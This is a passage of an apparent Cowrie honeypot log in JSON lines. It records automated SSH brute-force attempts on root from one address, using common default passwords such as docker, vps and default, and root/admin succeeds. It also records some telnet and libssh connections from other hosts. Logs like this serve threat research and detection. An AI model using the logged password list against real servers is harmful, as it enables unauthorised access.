{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":50764,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcf5f5cd322","protocol":"ssh","message":"New connection: 182.43.22.64:50764 (10.17.0.5:22) [session: fbcf5f5cd322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:04.730683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:04.738337Z","src_ip":"182.43.22.64","session":"fbcf5f5cd322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:05.329010Z","src_ip":"182.43.22.64","session":"fbcf5f5cd322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:06.114052Z","src_ip":"182.43.22.64","session":"fbcf5f5cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:07.371378Z","src_ip":"182.43.22.64","session":"fbcf5f5cd322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":42616,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a0e69d696b","protocol":"ssh","message":"New connection: 182.43.22.64:42616 (10.17.0.5:22) [session: 86a0e69d696b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:07.603422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:07.607193Z","src_ip":"182.43.22.64","session":"86a0e69d696b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:07.854211Z","src_ip":"182.43.22.64","session":"86a0e69d696b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:08.598588Z","src_ip":"182.43.22.64","session":"86a0e69d696b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:09.859346Z","src_ip":"182.43.22.64","session":"86a0e69d696b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":42624,"dst_ip":"10.17.0.5","dst_port":22,"session":"525db9ee74f7","protocol":"ssh","message":"New connection: 182.43.22.64:42624 (10.17.0.5:22) [session: 525db9ee74f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:10.124305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:10.129531Z","src_ip":"182.43.22.64","session":"525db9ee74f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:10.389243Z","src_ip":"182.43.22.64","session":"525db9ee74f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:11.841805Z","src_ip":"182.43.22.64","session":"525db9ee74f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:13.104027Z","src_ip":"182.43.22.64","session":"525db9ee74f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":42636,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a5ec4d8e369","protocol":"ssh","message":"New connection: 182.43.22.64:42636 (10.17.0.5:22) [session: 7a5ec4d8e369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:14.370519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:14.376031Z","src_ip":"182.43.22.64","session":"7a5ec4d8e369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:14.642391Z","src_ip":"182.43.22.64","session":"7a5ec4d8e369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:15.405107Z","src_ip":"182.43.22.64","session":"7a5ec4d8e369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:16.673141Z","src_ip":"182.43.22.64","session":"7a5ec4d8e369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"615c2b93ca2a","protocol":"ssh","message":"New connection: 182.43.22.64:52680 (10.17.0.5:22) [session: 615c2b93ca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:16.917226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:16.923152Z","src_ip":"182.43.22.64","session":"615c2b93ca2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:17.179235Z","src_ip":"182.43.22.64","session":"615c2b93ca2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:17.943165Z","src_ip":"182.43.22.64","session":"615c2b93ca2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:19.202778Z","src_ip":"182.43.22.64","session":"615c2b93ca2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":52688,"dst_ip":"10.17.0.5","dst_port":22,"session":"347e6dbed6c1","protocol":"ssh","message":"New connection: 182.43.22.64:52688 (10.17.0.5:22) [session: 347e6dbed6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:19.447595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:19.457498Z","src_ip":"182.43.22.64","session":"347e6dbed6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:19.721322Z","src_ip":"182.43.22.64","session":"347e6dbed6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:20.487750Z","src_ip":"182.43.22.64","session":"347e6dbed6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:21.744116Z","src_ip":"182.43.22.64","session":"347e6dbed6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":52698,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a4591da95c","protocol":"ssh","message":"New connection: 182.43.22.64:52698 (10.17.0.5:22) [session: 54a4591da95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:22.000222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:22.004807Z","src_ip":"182.43.22.64","session":"54a4591da95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:22.269274Z","src_ip":"182.43.22.64","session":"54a4591da95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.233.27","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b3006a33e1","protocol":"ssh","message":"New connection: 14.103.233.27:45436 (10.17.0.5:22) [session: 01b3006a33e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:23.028306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:23.033160Z","src_ip":"14.103.233.27","session":"01b3006a33e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:23.045629Z","src_ip":"182.43.22.64","session":"54a4591da95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:23.707469Z","src_ip":"14.103.233.27","session":"01b3006a33e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:24.314059Z","src_ip":"182.43.22.64","session":"54a4591da95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":52700,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95d3e44455b","protocol":"ssh","message":"New connection: 182.43.22.64:52700 (10.17.0.5:22) [session: d95d3e44455b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:24.555829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:24.561251Z","src_ip":"182.43.22.64","session":"d95d3e44455b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:24.802561Z","src_ip":"182.43.22.64","session":"d95d3e44455b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:25.544123Z","src_ip":"182.43.22.64","session":"d95d3e44455b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.26515531539917,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:34.155523Z","src_ip":"104.245.105.2","session":"aba9a3783f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49070,"dst_ip":"10.17.0.5","dst_port":23,"session":"772be96c3359","protocol":"telnet","message":"New connection: 104.245.105.2:49070 (10.17.0.5:23) [session: 772be96c3359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:45.616169Z"}
{"eventid":"cowrie.session.closed","duration":30.95452857017517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:06:16.570561Z","src_ip":"104.245.105.2","session":"772be96c3359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51652,"dst_ip":"10.17.0.5","dst_port":23,"session":"970630e8af8d","protocol":"telnet","message":"New connection: 104.245.105.2:51652 (10.17.0.5:23) [session: 970630e8af8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:06:44.676449Z"}
{"eventid":"cowrie.session.closed","duration":31.220088481903076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:15.896464Z","src_ip":"104.245.105.2","session":"970630e8af8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39978,"dst_ip":"10.17.0.5","dst_port":23,"session":"be69038b0bd2","protocol":"telnet","message":"New connection: 104.245.105.2:39978 (10.17.0.5:23) [session: be69038b0bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:22.275542Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de254b6a80f","protocol":"ssh","message":"New connection: 124.18.182.99:50864 (10.17.0.5:22) [session: 0de254b6a80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:24.407882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:24.414398Z","src_ip":"124.18.182.99","session":"0de254b6a80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-h